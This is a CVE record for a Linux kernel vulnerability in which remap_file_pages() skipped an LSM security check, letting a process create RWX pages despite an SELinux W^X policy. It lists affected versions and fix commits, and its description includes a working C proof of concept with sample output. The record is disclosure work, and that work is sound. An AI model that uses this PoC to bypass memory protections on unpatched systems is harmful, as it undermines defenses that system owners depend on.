{
   "containers": {
      "cna": {
         "providerMetadata": {
            "orgId": "f4215fc3-5b6b-47ff-a258-f7189bd81038"
         },
         "descriptions": [
            {
               "lang": "en",
               "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"
            }
         ],
         "affected": [
            {
               "product": "Linux",
               "vendor": "Linux",
               "defaultStatus": "unaffected",
               "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
               "programFiles": [
                  "mm/mmap.c"
               ],
               "versions": [
                  {
                     "version": "1da177e4c3f4",
                     "lessThan": "49d3a4ad57c5",
                     "status": "affected",
                     "versionType": "git"
                  },
                  {
                     "version": "1da177e4c3f4",
                     "lessThan": "3393fddbfa94",
                     "status": "affected",
                     "versionType": "git"
                  },
                  {
                     "version": "1da177e4c3f4",
                     "lessThan": "ce14f38d6ee9",
                     "status": "affected",
                     "versionType": "git"
                  },
                  {
                     "version": "1da177e4c3f4",
                     "lessThan": "ea7e2d5e49c0",
                     "status": "affected",
                     "versionType": "git"
                  }
               ]
            },
            {
               "product": "Linux",
               "vendor": "Linux",
               "defaultStatus": "affected",
               "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
               "programFiles": [
                  "mm/mmap.c"
               ],
               "versions": [
                  {
                     "version": "6.6.54",
                     "lessThanOrEqual": "6.6.*",
                     "status": "unaffected",
                     "versionType": "custom"
                  },
                  {
                     "version": "6.10.13",
                     "lessThanOrEqual": "6.10.*",
                     "status": "unaffected",
                     "versionType": "custom"
                  },
                  {
                     "version": "6.11.2",
                     "lessThanOrEqual": "6.11.*",
                     "status": "unaffected",
                     "versionType": "custom"
                  },
                  {
                     "version": "6.12-rc1",
                     "lessThanOrEqual": "*",
                     "status": "unaffected",
                     "versionType": "original_commit_for_fix"
                  }
               ]
            }
         ],
         "references": [
            {
               "url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"
            },
            {
               "url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"
            },
            {
               "url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"
            },
            {
               "url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"
            }
         ],
         "title": "mm: call the security_mmap_file() LSM hook in remap_file_pages()",
         "x_generator": {
            "engine": "bippy-c9c4e1df01b2"
         }
      }
   },
   "cveMetadata": {
      "assignerOrgId": "f4215fc3-5b6b-47ff-a258-f7189bd81038",
      "cveID": "CVE-2024-47745",
      "requesterUserId": "gregkh@kernel.org",
      "serial": "1",
      "state": "PUBLISHED"
   },
   "dataType": "CVE_RECORD",
   "dataVersion": "5.0"
}